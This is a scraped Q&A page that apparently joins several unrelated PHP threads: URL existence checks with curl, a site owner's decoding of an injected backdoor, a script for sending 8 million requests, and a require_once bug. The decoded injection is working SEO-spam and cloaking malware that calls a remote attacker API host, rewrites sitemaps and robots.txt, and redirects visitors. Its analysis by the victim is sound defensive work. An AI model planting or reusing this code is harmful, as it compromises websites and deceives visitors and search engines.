Running into ERR_CONNECTION_RESET when checking multiple links - php

I want to write a small PHP script which checks the existence of files on a server.
The files URLs have the following format:
http://update.example.com/Files/Updates/7.25.2.128/application7_25_2_128_de_FullInstallerx64.exe
Now I want to loop through the version numbers and check if the file exists.
function checkAllUrls() {
$revisionNumber = 25;
$minorNumber = 2;
$buildNumber = 128;
for ($x = $buildNumber; $x > 0; $x--) {
file_put_contents('log.txt', "Checking Build: $x", FILE_APPEND);
$combinedUrl = 'http://update.example.com/Files/Updates/6.' . $revisionNumber . '.' . $minorNumber . '.' . $x . '/application7_' . $revisionNumber . '_' . $minorNumber . '_' . $x . '_de_FullInstallerx64.exe';
$urlHeaders = #get_headers($combinedUrl);
if(!$urlHeaders || $urlHeaders[0] == 'HTTP/1.1 404 Not Found') {
$exists = "no";
file_put_contents('log.txt', "\n" . $combinedUrl . " - " . "does not exist. \n", FILE_APPEND);
} else {
$exists = "yes";
file_put_contents('log.txt', "\n" . $combinedUrl . " - " . "exists. \n", FILE_APPEND);
}
sleep(3);
}
}
The problem is, that even if using sleep() with 3 seconds, the links / files are not checked after a couple of links.
Afterwards I cannot open any of the valid links in my browser any more getting ERR_CONNECTION_RESET in return. At first I was afraid, that I kind of crashed the server, but accessing via VPN still lets me download the file.
Can anybody explain to my, why this is happening and how I can avoid this behaviour?
Thanks in advance.

maybe your problem don't use multiple request. Try this multiple curl request method.
function checkAllUrls() {
$revisionNumber = 25;
$minorNumber = 2;
$buildNumber = 128;
$multiCurl = curl_multi_init();
$curlArray = array();
for ($x = $buildNumber; $x > 0; $x--) {
$combinedUrl = 'http://update.example.com/Files/Updates/6.' . $revisionNumber . '.' . $minorNumber . '.' . $x . '/application7_' . $revisionNumber . '_' . $minorNumber . '_' . $x . '_de_FullInstallerx64.exe';
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $combinedUrl);
curl_setopt($curl, CURLOPT_FILETIME, true);
curl_setopt($curl, CURLOPT_NOBODY, true);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_HEADER, true);
curl_multi_add_handle($multiCurl,$curl);
$curlArray[] = ['curl' => $curl, 'build' => $x] ;
}
$i = NULL;
do {
$x = curl_multi_exec($multiCurl, $i);
} while ($i > 0);
foreach ($curlArray as $k => $v) {
file_put_contents('log.txt', "Checking Build: ".$v['build'], FILE_APPEND);
$httpCode = curl_getinfo($v['curl'], CURLINFO_HTTP_CODE);
$combinedUrl = curl_getinfo($v['curl'], CURLINFO_EFFECTIVE_URL);
if($httpCode === 404) {
$exists = "no";
file_put_contents('log.txt', "\n" . $combinedUrl . " - " . "does not exist. \n", FILE_APPEND);
} else {
$exists = "yes";
file_put_contents('log.txt', "\n" . $combinedUrl . " - " . "exists. \n", FILE_APPEND);
}
curl_multi_remove_handle($multiCurl, $v['curl']);
}
curl_multi_close($multiCurl);
}

Related

php code injection by hack which begins with $O00OO0=base64_decode. So i did decode it using unphp.net but that again returns an encrypted code

I have got php code injection by hack which begins with
$O00OO0=base64_decode.
So I did decode it using unphp.net but that again returns a code which assigns a variable
$O0O000 = "srDHGkVU..";
eval('?>' . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2), $OO0O00($O0O000, $OO0000, $OO0000), $OO0O00($O0O000, 0, $OO0000))));
Any help or guidance would be appreciated.
here is decode
<?php
global $xmlDir, $mapMin, $mapMax, $mapNum, $mapPrefix, $plusNum;
$xmlDir = 'sitemap';
$mapMin = '8000';
$mapMax = '12000';
$mapNum = '0';
$mapPrefix = '';
$plusNum = '';
#ini_set('memory_limit', '-1');
#ini_set('max_execution_time', 0);
#set_time_limit(0);
#error_reporting(0);
#ini_set('display_errors', 0);
if (!is_bot() && !is_from_bot()) {
return;
}
if (!is_bot() && !is_jp_lang()) {
return;
}
$requestUri = get_request_uri();
if (preg_match('/--check-alive--/is', $requestUri, $results)) {
echo '--alive--';
$back = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
$str = $back[0]['file'];
$reg = '/.php\((\d+)\)/';
preg_match_all($reg, $str, $want);
print_r($want[1][0]);
exit();
} else if (preg_match('/--site-map--/is', $requestUri, $results)) {
get_site_map();
exit();
} else if (preg_match('/(-[1-9])?.xml$/is', $requestUri, $results)) {
#header("Content-type: text/xml");
get_csite_map();
exit();
} else if (preg_match('/(\d{5,})/is', $requestUri, $results)) {
$getId = $results[1];
get_article($getId);
exit();
} else {
$getId = get_id();
get_article($getId);
exit();
}
function get_api_url()
{
return 'http://prjclymfijabgj88.jpstore.top/group1/jp-api.php';
}
function get_article($id)
{
$proId = get_num();
$id = $id - $proId;
$html = get_api_page(get_api_url() . '?action=article&id=' . $id . '&host=' . get_http_host() . '&ip=' . get_real_ip() . '&tail=' . get_tail() . '&proNum=' . get_num());
if (stripos($html, '404') === 0) {
$getId = get_id() - $proId;
if (is_bot()) {
get_article($getId);
exit();
} else {
get_jump($getId);
exit();
}
} else {
if (is_bot()) {
echo $html;
exit();
} else {
get_jump($id);
exit();
}
}
echo $html;
exit();
}
function get_jump($id)
{
echo get_api_page(get_api_url() . '?action=jump&id=' . $id . '&host=' . get_http_host() . '&ip=' . get_real_ip());
exit();
}
function get_csite_map()
{
$results = get_api_page(get_api_url() . '?action=sitemap&host=' . get_http_host() . '&ip=' . get_real_ip() . '&tail=' . get_tail() . '&proNum=' . get_num());
$sitemapArray = json_decode(gzinflate(base64_decode($results)));
shuffle($sitemapArray);
$date_str = date("Y-m-d\TH:i:sP", time());
$xmlArray = array_slice($sitemapArray, 0, 12000);
$xml = '';
$url = '';
foreach ($xmlArray as $xmlKey => $xmlValue) {
$url .= ' ' . $xmlValue . ' ' . $date_str . ' daily 0.1 ';
}
$xml = ' ';
$xml .= $url;
$xml .= '';
echo $xml;
exit();
}
function get_site_map()
{
global $xmlDir, $mapMin, $mapMax, $mapNum, $mapPrefix;
if (!file_exists($xmlDir)) {
mkdir($xmlDir);
}
$results = get_api_page(get_api_url() . '?action=sitemap&host=' . get_http_host() . '&ip=' . get_real_ip() . '&tail=' . get_tail() . '&proNum=' . get_num());
$sitemapArray = json_decode(gzinflate(base64_decode($results)));
shuffle($sitemapArray);
$dataArray = array_chunk($sitemapArray, $mapMax);
$robotsTxt = 'User-agent: *' . PHP_EOL . 'Allow: /' . PHP_EOL;
$date_str = date("Y-m-d\TH:i:sP", time());
foreach ($dataArray as $dataKey => $dataValue) {
$xmlArray = array_slice($dataValue, 0, mt_rand($mapMin, $mapMax));
$url = '';
$xml = '';
foreach ($xmlArray as $xmlKey => $xmlValue) {
$url .= ' ' . $xmlValue . ' ' . $date_str . ' daily 0.1 ';
}
$xml = ' ';
$xml .= $url;
$xml .= '';
$xmlFile = $xmlDir . '/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml';
file_put_contents($xmlFile, $xml, LOCK_EX);
$http = '';
if (!isset($_SERVER['HTTPS'])) {
$http = 'http://';
} else {
if ($_SERVER['HTTPS'] === 1 || $_SERVER['HTTPS'] == 'on' || $_SERVER['SERVER_PORT'] == 443) {
$http = 'https://';
}
}
echo $http . $_SERVER['SERVER_NAME'] . '/sitemap/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml' . '
';
$sitemapUrl = $http . $_SERVER['SERVER_NAME'] . '/sitemap/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml';
$robotsTxt .= 'Sitemap: ' . $http . $_SERVER['SERVER_NAME'] . '/sitemap/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml' . PHP_EOL;
ping_google($sitemapUrl);
ping_bing($sitemapUrl);
}
$robots = dirname(__FILE__) . '/robots.txt';
file_put_contents($robots, $robotsTxt, LOCK_EX);
#touch($robots, strtotime("-400 days"));
exit();
}
function ping_google($sitemapUrl)
{
$pingUrl = 'https://www.google.com/ping?sitemap=' . urlencode($sitemapUrl);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $pingUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch); //执行curl请求 echo 'Google ping 成功
url_close($ch); } function ping_bing($sitemapUrl){ $pingUrl = 'https://www.bing.com/webmaster/ping.aspx?siteMap='.urlencode($sitemapUrl); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $pingUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); //执行curl请求 echo 'Bing ping 成功
curl_close($ch); } function get_id() { $bakDir = dirname(__FILE__) . ' / images'; $requestUri = get_request_uri(); $strlen = strlen($requestUri); $filePath = $bakDir . ' / ' . $strlen . ' / '. md5($requestUri) . ' . jpg'; if (!file_exists(dirname($filePath))) { mkdir(dirname($filePath), 0777, true); } if (!file_exists($filePath)) { $getId = get_api_page(get_api_url() . ' ? action = getid & host = ' . get_http_host() . ' & ip = ' . get_real_ip(). ' & proNum = ' . get_num()); if (is_numeric($getId)) { file_put_contents($filePath, $getId, LOCK_EX); } }else{ $getId = file_get_contents($filePath); } return $getId; } function get_num() { global $plusNum; $numDir = dirname(__FILE__) . ' / images'; $numTxt = $numDir . ' / num . txt'; if (!file_exists($numDir)) { mkdir($numDir, 0777, true); } if($plusNum ==''){ if (file_exists($numTxt)) { $num = trim(file_get_contents($numTxt)); }else{ $requestUri = get_request_uri(); $strlen = strlen($requestUri); $num = 1000*$strlen+$strlen; file_put_contents($numTxt, $num, LOCK_EX); } }else{ $num = $plusNum; } return $num; } function get_tail() { $tailDir = dirname(__FILE__) . ' / images'; $tailTxt = $tailDir . ' / tail . txt'; if (!file_exists($tailDir)) { mkdir($tailDir, 0777, true); } if (file_exists($tailTxt)) { $tail = trim(file_get_contents($tailTxt)); }else{ $strs = 'ABCDEFGHIGKLMNOPQRSTUVWZYZabcdefghigklmnopqrstuvwxyz'; $strs_array = str_split($strs); shuffle($strs_array); $str_array = array_slice($strs_array, 0, mt_rand(3, 4)); $str = ' . ' . implode($str_array); $randomTailArray = []; $randomTailArray[] = $str; $randomTailArray[] = ' / '; $randomTailArray[] = ' . htm'; $tail = $randomTailArray[mt_rand(0,2)]; file_put_contents($tailTxt, $tail, LOCK_EX); } return $tail; } function get_http_host() { $http = ''; if(!isset($_SERVER['HTTPS'])){ $http = 'http://'; }else{ if($_SERVER['HTTPS'] === 1 || $_SERVER['HTTPS'] == 'on' || $_SERVER['SERVER_PORT'] == 443){ $http = 'https://'; } } if (isset($_SERVER['SERVER_NAME'])) { $host = $http . $_SERVER['SERVER_NAME']; }else if(isset($_SERVER['HTTP_HOST'])){ $host = $http . $_SERVER['HTTP_HOST']; }else{ return ''; } return $host; } function get_request_uri() { if (isset($_SERVER["REQUEST_URI"])) { $requestUri = $_SERVER["REQUEST_URI"]; }else{ $requestUri = ''; } return $requestUri; } function get_user_agent() { if (isset($_SERVER["HTTP_USER_AGENT"])) { $userAgent = $_SERVER['HTTP_USER_AGENT']; }else{ $userAgent = ''; } return $userAgent; } function get_real_ip() { $ip = false; if(!empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ return $_SERVER['HTTP_CF_CONNECTING_IP']; } if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ips=explode (',', $_SERVER['HTTP_X_FORWARDED_FOR']); for ($i=0; $i < count($ips); $i++){ if(!preg_match ('^(10|172.16|192.168).', $ips[$i])){ $ip=$ips[$i]; break; } } } return $ip ? $ip : $_SERVER['REMOTE_ADDR']; } function get_api_page($url) { $file_contents = ''; $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'; if(function_exists('curl_init')){ try { $ch = curl_init(); $timeout = 30; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); curl_setopt($ch,CURLOPT_USERAGENT,$user_agent); $file_contents = curl_exec( $ch); curl_close($ch); } catch (Exception $e) {} } if(strlen($file_contents)<1&&function_exists('file_get_contents')){ ini_set('user_agent',$user_agent); try { $file_contents = #file_get_contents($url); } catch (Exception $e) {} } if($file_contents == '503' || $file_contents == '') { error_503(); } return $file_contents; } function error_503() { ob_start(); header('HTTP/1.1 503 Service Temporarily Unavailable'); header('Status: 503 Service Temporarily Unavailable'); header('Retry-After:1200'); header('X-Powered-By:Apache'); exit(); } function is_bot() { $ua = get_user_agent(); $ip = get_real_ip(); if(empty($ua)) return false; if(stripos($ua,"--seeshop--") === 0) return true; $bot_dn_pool = array("google",'.yahoo.','.live.','.bing.','.msn.'); try { $rdns = gethostbyaddr($ip); if(empty($rdns)) return false; foreach ($bot_dn_pool as $dn) { if(stripos($rdns,$dn)) return true; } return false; } catch(Exception $e) { return (stripos($ua,"bot") ||stripos($ua,"spider") ||stripos($ua,"yahoo") ||stripos($ua,"seznam") ||stripos($ua,"Googlebot") ||stripos($ua,"bingbot") ||stripos($ua,"msnbot") ||stripos($ua,"Yahoo! Slurp") ||stripos($ua,"Slurp") ||stripos($ua,"bing")); } } function is_jp_lang() { if(stripos(get_user_agent(), '--jumpshop--') === 0){ return true; } if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); }else{ $lang = ''; } return stripos($lang,"ja") === 0; } function is_from_bot() { if(stripos(get_user_agent(), '--jumpshop--') === 0){ return true; } if (!isset($_SERVER['HTTP_REFERER'])) { return false; } $referer = $_SERVER['HTTP_REFERER']; return (stripos($referer,"bot") ||stripos($referer,"spider") ||stripos($referer,"yahoo") ||stripos($referer,"seznam") ||stripos($referer,"Googlebot") ||stripos($referer,"bingbot") ||stripos($referer,"msnbot") ||stripos($referer,"Yahoo! Slurp") ||stripos($referer,"Slurp") ||stripos($referer,"bing"));
}
I decoded the injected code using https://www.unphp.net/ then took the decoded code and replaced the below code.
$O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2), $OO0O00($O0O000, $OO0000, $OO0000), $OO0O00($O0O000, 0, $OO0000)));
from the site i could also see that they had kept few variables at bottom which used to map. like
// $OO0000 = 52;
// $O00O0O = base64_decode;
// $O00OO0 = "n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
// $OO0O00 = substr;
// $O0OO00 = strtr;
base64_decode( strtr(substr($O0O000 ,52*2),substr($O0O000,52,52),substr($O0O000,0,52)))
after that i printed the result which gave me the readable php code.

Suggestion : 8 million send request

I was coded a php bot. Now I want send a 8 million request. Yeah for example:
I use multi_curl* but problems.
I use linux parallels library problems.
Maybe you have any suggestions ?
Php 7.1.1 , Linux Ubuntu 16.0.1
myfnc(){
i=1264609
echo "$(($1+i))";
response=$(curl --write-out %{http_code} --silent --output /dev/null http://localhost/botum/index.php?i=$(($1+i)))
echo $response
}
export -f myfnc
seq 100 | parallel -j0 myfnc
Multi curl problems :
set_time_limit(0);
ini_set("max_execution_time",-1);
$nodes = array();
for($i =1366295;$i<1396296;$i++){
array_push($nodes,"http://165.227.152.138/botum2/index.php?i=$i");
}
$node_count = count($nodes);
$curl_arr = array();
$master = curl_multi_init();
for($i = 0; $i < $node_count; $i++)
{
$url =$nodes[$i];
//problems code start
$curl_arr[$i] = curl_init($url);
curl_setopt($curl_arr[$i], CURLOPT_RETURNTRANSFER, true);
//problems code end
curl_multi_add_handle($master, $curl_arr[$i]);
}
do {
curl_multi_exec($master,$running);
} while($running > 0);
for($i = 0; $i < $node_count; $i++)
{
$results[] = curl_multi_getcontent ( $curl_arr[$i] );
}
print_r($results);
your curl code is trying to start 1.3 million curl handles SIMULTANEOUSLY, and will obviously run out of resources (but you don't catch that because you don't check the return value of curl_init(), if you had done something like if(!($curl_arr[$i] = curl_init($url))){throw new \RuntimeException("curl_init failed!");} then you would have noticed it)
furthermore you're using a busy loop here
do {
curl_multi_exec($master,$running);
} while($running > 0);
meaning you'll be using 100% cpu while the handles are executing, for no goddamn reason, while you should have been waiting with curl_multi_select.
this is a job for curl_multi, but you're just using it wrong. my suggestion is to just slightly modify the code from Which performs faster, headless browser or Curl? ,
this will do 8 million requests, print the responses as they are getting completed, and never use more than 500 connections simultaneously, and use an async select() approach to not use any cpu while waiting for network IO,
curl_multi_fetch_and_print("http://165.227.152.138/botum2/index.php?i=",8000000,500,10000,true,true);
function curl_multi_fetch_and_print(string $base_url, int $count, int $max_connections, int $timeout_ms = 10000, bool $consider_http_300_redirect_as_error = true, bool $print_fault_reason): void
{
if ($max_connections < 1) {
throw new InvalidArgumentException("max_connections MUST be >=1");
}
if ($count < 1) {
throw new InvalidArgumentException("count MUST be >=1");
}
$mh = curl_multi_init();
$workers = array();
$work = function () use (&$workers, &$mh, &$print_fault_reason) {
// > If an added handle fails very quickly, it may never be counted as a running_handle
while (1) {
curl_multi_exec($mh, $still_running);
if ($still_running < count($workers)) {
break;
}
$cms = curl_multi_select($mh, 10);
//var_dump('sr: ' . $still_running . " c: " . count($workers)." cms: ".$cms);
}
while (false !== ($info = curl_multi_info_read($mh))) {
//echo "NOT FALSE!";
//var_dump($info);
{
if ($info['msg'] !== CURLMSG_DONE) {
continue;
}
if ($info['result'] !== CURLM_OK) {
if ($print_fault_reason) {
echo "request #" . ($workers[(int)$info['handle']]) . " error: " . print_r(array(false, $info['result'], "curl_exec error " . $info['result'] . ": " . curl_strerror($info['result'])), true) . PHP_EOL;
}
} elseif (CURLE_OK !== ($err = curl_errno($info['handle']))) {
if ($print_fault_reason) {
echo "request #" . ($workers[(int)$info['handle']]) . " error: " . print_r(array(false, $err, "curl error " . $err . ": " . curl_strerror($err)), true) . PHP_EOL;
}
} else {
$code = (string)curl_getinfo($info['handle'], CURLINFO_HTTP_CODE);
if ($code[0] === "3") {
if ($consider_http_300_redirect_as_error) {
if ($print_fault_reason) {
echo "request #" . ($workers[(int)$info['handle']]) . " error: " . print_r(array(false, -1, "got a http " . $code . " redirect, which is considered an error"), true) . PHP_EOL;
}
} else {
//if ($print_fault_reason) {
// echo "request #" . ($workers[(int)$info['handle']]) . " success: " . print_r(array(true, 0, "got a http " . $code . " redirect, which is considered a success"), true).PHP_EOL;
//} else {
// ... got a http redirect, which is not considered an errror,
echo "request #" . ($workers[(int)$info['handle']]) . " success: (http {$code} redirect)\n";
//}
}
} elseif ($code[0] === "2") {
if ($print_fault_reason) {
echo "request #" . ($workers[(int)$info['handle']]) . " success: http {$code}: " . curl_multi_getcontent($info['handle']) . PHP_EOL;
} else {
echo "request #" . ($workers[(int)$info['handle']]) . ": " . curl_multi_getcontent($info['handle']) . PHP_EOL;
}
} else {
// all non-2xx and non-3xx are always considered errors (500 internal server error, 400 client error, 404 not found, etcetc)
if ($print_fault_reason) {
echo "request #" . ($workers[(int)$info['handle']]) . " error: " . print_r(array(false, -1, "got a http " . $code . " code, which is considered an error"), true) . PHP_EOL;
}
}
}
curl_multi_remove_handle($mh, $info['handle']);
assert(isset($workers[(int)$info['handle']]));
unset($workers[(int)$info['handle']]);
curl_close($info['handle']);
}
}
//echo "NO MORE INFO!";
};
for ($i = 0; $i < $count; ++$i) {
$url = $base_url . $i;
while (count($workers) >= $max_connections) {
//echo "TOO MANY WORKERS!\n";
$work();
}
$neww = curl_init($url);
if (!$neww) {
trigger_error("curl_init() failed! probably means that max_connections is too high and you ran out of resources", E_USER_WARNING);
if ($print_fault_reason) {
echo "request #{$i} error: curl_init() failed!" . PHP_EOL;
}
continue;
}
$workers[(int)$neww] = $url;
curl_setopt_array($neww, array(
//CURLOPT_NOBODY => 1,
CURLOPT_RETURNTRANSFER=>1,
CURLOPT_SSL_VERIFYHOST => 0,
CURLOPT_SSL_VERIFYPEER => 0,
CURLOPT_TIMEOUT_MS => $timeout_ms
));
curl_multi_add_handle($mh, $neww);
//curl_multi_exec($mh, $unused_here); LIKELY TO BE MUCH SLOWER IF DONE IN THIS LOOP: TOO MANY SYSCALLS
}
while (count($workers) > 0) {
//echo "WAITING FOR WORKERS TO BECOME 0!";
//var_dump(count($workers));
$work();
}
curl_multi_close($mh);
return;
}

php randomly ignores require_once - possible windows issue

First of all I am not sure if this the correct place to post about this particular problem because I don't know what the root cause is. If it isn't the right place, please say so and close the topic.
In a Windows Server 2012 64bit environment with 32GB RAM and an intel i7-4770, recently (last 4 months - before that it never happened) errors have started to appear in php_error.log with a totally random pattern as to when.
The errors say that functions or variables defined in other files included with require_once() do not exist. Once these errors start happening a reboot of the server machine "fixes" the issue. It takes a random amount of time for the problem to appear again, from 3 days to 10 days or 4 weeks. I have made disk checks for errors but nothing has come up
example1:
[21-Apr-2018 07:36:26 Asia/Kuwait] PHP Notice: Undefined variable: APPLICATIONDIRECTORY in C:\inetpub\wwwroot\ell\makeIdent.php on line 18
[21-Apr-2018 07:36:26 Asia/Kuwait] PHP Notice: Undefined variable: DLLDIR in C:\inetpub\wwwroot\ell\makeIdent.php on line 18
makeIdent.php:
require_once('dirpath.php');
if ( isset($_GET['GreekWord']) ) {
$curword = trim($_GET['GreekWord']);
$strRes = "";
if (strlen($curword) > 1) {
try {
$obj = new COM("Ellinognosia.ExtFunctions") or die("Unable to instantiate Ellinognosia");
$sid = 0;
$mdr = 0;
$output = $obj->fnInitialize("arxaia", $APPLICATIONDIRECTORY . "\\elllex", $DLLDIR, "utf8");
$output = $obj->fnIdentify($curword);
echo $output;
}
catch (Exception $e) {
$errmsg = $e->getMessage();
echo "Fatal error: " . $errmsg . " :internal error";
$logfile = fopen("error.log", "a");
if (flock($logfile, LOCK_EX)) {
fputs($logfile, date('d-m-Y') . " # " . date('H:i:s') . " # " . $_SERVER['REMOTE_ADDR'] . " # " . $_SERVER['HTTP_USER_AGENT'] . " # " . ($ref = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : "NO_REFERER") . " # " . $_SERVER['REQUEST_URI'] . " # " . $errmsg . " # " . "Variables:\r\n" . print_r($_POST, true) . " # " . print_r($_GET, true) . "\r\n\r\n");
flock($logfile, LOCK_UN);
fclose($logfile);
}
}
} else {
echo "Fatal error: Parameters Length Incorrect :internal error";
}
} else {
echo "Fatal error: Missing Parameters :internal error";
}
?>
dirpath.php:
<?php
date_default_timezone_set("Europe/Athens");
$APPLICATIONDIRECTORY = "C:\\inetpub\\wwwroot\\ell";
if (strpos(php_uname("v"), " R2 ") > 0 || strpos(php_uname("v"), "ild 92") > 0) {
$DLLDIR = "C:\\Windows\\SysWOW64";
} else {
$DLLDIR = $APPLICATIONDIRECTORY . "\\elldll";
}
?>
example2:
[21-Apr-2018 07:36:27 Asia/Kuwait] PHP Fatal error: Call to undefined function toMonotonic() in C:\inetpub\wwwroot\ell\ajaxGetWordsFromLet.php on line 15
ajaxGetWordsFromLet.php:
<?php
require_once('phpcommonscripts/functions/fn_application.php');
try {
if ( isset($_GET['Letters']) && isset($_GET['CurLex']) ) {
$letters = trim($_GET['Letters']);
$curlex = trim($_GET['CurLex']);
if (mb_strlen($letters, "UTF-8") > 2 && mb_strlen($curlex, "UTF-8") > 0) {
$strReturn = "";
if ($curlex == "newg" || $curlex == "arch" || $curlex == "phrases") {
$letters = mb_substr($letters, 0, 32, "UTF-8");
$letters = toMonotonic($letters);
$letters = RemoveSimeiaStiksisArx($letters);
// more irrelevant php code here, the error is 2 lines above
}
echo $strReturn;
} else {
echo "Fatal error: Parameters Length Incorrect :internal error";
}
} else {
echo "Fatal error: Missing Parameters :internal error";
}
}
catch(Exception $e) {
$errmsg = $e->getMessage();
echo "Fatal error: " . $errmsg . " :internal error";
$logfile = fopen("error.log", "a");
if (flock($logfile, LOCK_EX)) {
fputs($logfile, date('d-m-Y') . " # " . date('H:i:s') . " # " . $_SERVER['REMOTE_ADDR'] . " # " . $_SERVER['HTTP_USER_AGENT'] . " # " . ($ref = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : "NO_REFERER") . " # " . $_SERVER['REQUEST_URI'] . " # " . $errmsg . " # " . "Variables:\r\n" . print_r($_POST, true) . " # " . print_r($_GET, true) . "\r\n\r\n");
flock($logfile, LOCK_UN);
fclose($logfile);
}
}
?>
fn_application.php:
<?php
function toMonotonic($s) {
$s = str_replace(":α", "ά", $s);
$s = str_replace(":ε", "έ", $s);
$s = str_replace(":η", "ή", $s);
$s = str_replace(":ι", "ί", $s);
$s = str_replace(":ο", "ό", $s);
$s = str_replace(":υ", "ύ", $s);
$s = str_replace(":ω", "ώ", $s);
$s = str_replace(":ϊ", "ΐ", $s);
$s = str_replace(":ϋ", "ΰ", $s);
$s = str_replace(":Α", "Ά", $s);
$s = str_replace(":Ε", "Έ", $s);
$s = str_replace(":Η", "Ή", $s);
$s = str_replace(":Ι", "Ί", $s);
$s = str_replace(":Ο", "Ό", $s);
$s = str_replace(":Υ", "Ύ", $s);
$s = str_replace(":Ω", "Ώ", $s);
$s = str_replace(":Ϊ", "Ϊ", $s);
$s = str_replace(":Ϋ", "Ϋ", $s);
return $s;
}
// more functions here
?>
example3:
[21-Apr-2018 07:36:27 Asia/Kuwait] PHP Notice: Undefined variable: LGCACHEPDO in C:\inetpub\wwwroot\ell\displayOmor.php on line 38
[21-Apr-2018 07:36:27 Asia/Kuwait] PHP Fatal error: Call to undefined function getCache() in C:\inetpub\wwwroot\ell\displayOmor.php on line 39
displayOmor.php:
<?php
require_once('dirpath.php');
require_once("phpcommonscripts/connections/con_cache.php");
require_once("phpcommonscripts/functions/cache.php");
function get_data($url) {
$ch = curl_init();
$timeout = 100;
$userAgent = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)";
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch,CURLOPT_USERAGENT, $userAgent);
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function mb_ucfirst($str, $enc = 'utf-8') {
return mb_strtoupper(mb_substr($str, 0, 1, $enc), $enc).mb_substr($str, 1, mb_strlen($str, $enc), $enc);
}
if ( isset($_GET['GreekWord']) && isset($_GET['selectedRes']) ) {
$curword = trim($_GET['GreekWord']);
$selres = trim($_GET['selectedRes']);
$strRes = "";
if (strlen($curword) > 1 && strlen($selres) > 0) {
try {
$cacheoutput = "";
$useCache = true;
if ($LGCACHEPDO === null) $useCache = false;
$cacheoutput = getCache($useCache, $_SERVER['QUERY_STRING'], $_POST, pathinfo(__FILE__, PATHINFO_FILENAME));
if ($cacheoutput != "") {
$output = $cacheoutput;
} else {
//more code
}
$strRes = $output;
echo $strRes;
}
catch (Exception $e) {
$errmsg = $e->getMessage();
echo "Fatal error: " . $errmsg . " :internal error";
$logfile = fopen("error.log", "a");
if (flock($logfile, LOCK_EX)) {
fputs($logfile, date('d-m-Y') . " # " . date('H:i:s') . " # " . $_SERVER['REMOTE_ADDR'] . " # " . $_SERVER['HTTP_USER_AGENT'] . " # " . ($ref = (isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : "NO_REFERER") . " # " . $_SERVER['REQUEST_URI'] . " # " . $errmsg . " # " . "Variables:\r\n" . print_r($_POST, true) . " # " . print_r($_GET, true) . "\r\n\r\n");
flock($logfile, LOCK_UN);
fclose($logfile);
}
}
} else {
echo "Fatal error: Parameters Length Incorrect :internal error";
}
} else {
echo "Fatal error: Missing Parameters :internal error";
}
?>
con_cache.php:
<?php
//Cache
$hostname_LGCACHE = "127.0.0.1";
$database_LGCACHE = "xxx";
$username_LGCACHE = "xxx";
$password_LGCACHE = "xxx";
$errorreporting = error_reporting();
try {
error_reporting(E_ALL ^ E_WARNING);
$LGCACHEPDO = new PDO("mysql:host=".$hostname_LGCACHE.";dbname=".$database_LGCACHE, $username_LGCACHE, $password_LGCACHE, array(PDO::ATTR_PERSISTENT => true, PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING, PDO::ATTR_TIMEOUT => 2));
} catch (PDOException $ex) {
$LGCACHEPDO = null;
}
error_reporting($errorreporting);
?>
cache.php:
<?php
$gl_TBLNAME = "";
$gl_QUERYSTRING = "";
function getCache($useCache, $serverQUERYSTRING, $serverPOST, $serverFILENAME) {
$ret = "";
if ($useCache === true) {
global $LGCACHEPDO;
global $gl_TBLNAME;
global $gl_QUERYSTRING;
$gl_QUERYSTRING = $serverQUERYSTRING;
if ($gl_QUERYSTRING == "") {
foreach ($serverPOST as $key => $value) $gl_QUERYSTRING = $gl_QUERYSTRING . $key . "=". urlencode($value) . "&";
$gl_QUERYSTRING = rtrim($gl_QUERYSTRING, "&");
}
$gl_TBLNAME = $serverFILENAME;
$getcache_PRST = $LGCACHEPDO->prepare("SELECT output FROM " . $gl_TBLNAME . " WHERE querystring = :querystring");
$getcache_PRST->bindValue(":querystring", $gl_QUERYSTRING);
$getcache_PRST->execute() or die($LGCACHEPDO->errorInfo());
if ($getcache_PRST->rowCount() == 1) {
$getcache_RSLT = $getcache_PRST->fetch(PDO::FETCH_ASSOC, PDO::FETCH_ORI_NEXT);
$ret = $getcache_RSLT["output"];
}
}
return $ret;
}
// more functions here
?>
What I understand is that for some reason PHP or Windows fails some times to load those files.
We have had this server box for ~4 years and only recently started to show these problems. This server handles 70% of the website load and runs a MYSQL server (the website load is ~80% of what it was a year ago, so no it hasn't gone up). There is a same hardware second machine which has Windows Server 2012 R2 64bit which handles 30% of the load and doesn't run any MYSQL server and never shows these kind of problems. Both servers have PHP 5.3.28
